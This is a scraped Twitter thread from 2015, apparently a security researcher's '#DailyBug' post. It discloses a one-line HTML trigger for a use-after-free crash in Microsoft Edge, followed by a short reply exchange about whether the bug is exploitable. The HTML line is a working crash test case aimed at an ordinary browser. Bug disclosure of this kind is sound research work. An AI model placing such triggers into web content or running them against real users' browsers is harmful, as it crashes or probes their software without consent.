#DailyBug bonus #MicrosoftEdge use-after-free
<body id=x style=margin:5 onload=http://x.style .removeProperty("margin")>
-
-
Replying to @berendjanwever
Note that reuse is in the same function that freed it with no way of injecting JavaScript to reallocate it in between, so NOT EXPLOITABLE.
3 replies 4 retweets 2 likes -
Replying to @thebantyone
@im_so_banty Feel free to write a PoC and prove your theory...
10:29 AM - 21 Oct 2015
0 replies
0 retweets
0 likes
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.